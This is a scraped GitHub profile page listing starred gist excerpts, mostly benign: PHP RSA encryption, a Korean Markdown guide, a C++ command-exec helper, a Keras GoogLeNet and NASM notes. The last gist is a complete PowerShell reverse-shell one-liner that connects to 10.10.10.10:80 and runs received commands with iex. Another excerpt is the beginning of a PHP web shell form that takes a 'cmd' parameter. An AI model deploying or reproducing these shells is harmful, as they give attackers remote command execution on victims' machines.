Skip to content

Instantly share code, notes, and snippets.

View KnightChaser's full-sized avatar
👟
¿Que estas esperando?

Garam Lee KnightChaser

👟
¿Que estas esperando?
View GitHub Profile
@kijin
kijin / rsa_encrypt.php
Created January 23, 2014 04:55
PHP에서 RSA 개인키/공개키 조합을 사용하여 서버에 비밀번호를 저장할 필요 없이 문자열을 암호화하는 법
<?php
// 비대칭 알고리듬인 RSA를 사용하여 문자열을 암호화하는 법.
// 개인키 비밀번호는 암호화할 때는 필요없고 복호화할 때만 입력하면 되므로
// 서버에 저장할 필요 없이 그때그때 관리자가 입력하도록 해도 된다.
// PHP 5.2 이상, openssl 모듈이 필요하다.
// RSA 개인키, 공개키 조합을 생성한다.
// 키 생성에는 시간이 많이 걸리므로, 한 번만 생성하여 저장해 두고 사용하면 된다.
// 단, 비밀번호는 개인키를 사용할 때마다 필요하다.
@ihoneymon
ihoneymon / how-to-write-by-markdown.md
Last active July 6, 2024 06:19
마크다운(Markdown) 사용법

[공통] 마크다운 markdown 작성법

영어지만, 조금 더 상세하게 마크다운 사용법을 안내하고 있는
"Markdown Guide (https://www.markdownguide.org/)" 를 보시는 것을 추천합니다. ^^

아, 그리고 마크다운만으로 표현이 부족하다고 느끼신다면, HTML 태그를 활용하시는 것도 좋습니다.

1. 마크다운에 관하여

@lawrencegripper
lawrencegripper / invokeWithCookie.ps1
Last active January 18, 2024 06:34
Invoke-webrequest With Cookie
$downloadToPath = "c:\somewhere\on\disk\file.zip"
$remoteFileLocation = "http://somewhere/on/the/internet"
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$cookie = New-Object System.Net.Cookie
$cookie.Name = "cookieName"
$cookie.Value = "valueOfCookie"
@meritozh
meritozh / exec.cpp
Created April 5, 2016 07:12
use c++ to execute a command and get the output of command. It only grab stdout. Use perror or add "2>&1" for grabbing stderr.
#include <iostream>
#include <cstdarg>
#include <string>
#include <fstream>
#include <memory>
#include <cstdio>
std::string exec(const char* cmd) {
std::shared_ptr<FILE> pipe(popen(cmd, "r"), pclose);
if (!pipe) return "ERROR";
@devudit
devudit / closest-lower-higher-number.php
Last active January 6, 2024 18:22
Get closest, lower and higher number as a associative array from a array
<?php
function closestLowerHigherNr($array, $nr) {
sort($array);
$re_arr = array('lower'=>min(current($array), $nr), 'higher'=>max(end($array), $nr), 'closest'=>$nr);
foreach($array AS $num){
if($nr > $num) $re_arr['lower'] = $num;
else if($nr <= $num){
$re_arr['higher'] = $num;
break;
}
@joelouismarino
joelouismarino / googlenet.py
Last active October 9, 2023 07:09
GoogLeNet in Keras
from __future__ import print_function
import imageio
from PIL import Image
import numpy as np
import keras
from keras.layers import Input, Dense, Conv2D, MaxPooling2D, AveragePooling2D, ZeroPadding2D, Dropout, Flatten, Concatenate, Reshape, Activation
from keras.models import Model
from keras.regularizers import l2
from keras.optimizers import SGD
@Xarkam
Xarkam / Build go from powershell.ps1
Last active January 10, 2024 03:07
Build go from powershell
#Inspired from https://github.com/golang/go/wiki/WindowsCrossCompiling
#Use -ldflags="-s -w" to reduce binary size
$env:GOOS="windows";$env:GOARCH="386"; go build -o .\hello.exe .\hello.go
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@yellowbyte
yellowbyte / compiling_asm.md
Last active June 4, 2024 20:17
how to assemble assembly with NASM assembler to 32-bit or 64-bit ELF binary with or without libc

32-bit ELF binary

how to assemble and link:

nasm -f elf32 -o <filename>.o <filename>.asm
ld -m elf_i386 -o <filename> <filename>.o

template code (hello world):

section .text
global _start
@egre55
egre55 / powershell_reverse_shell.ps1
Last active May 30, 2024 13:04
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()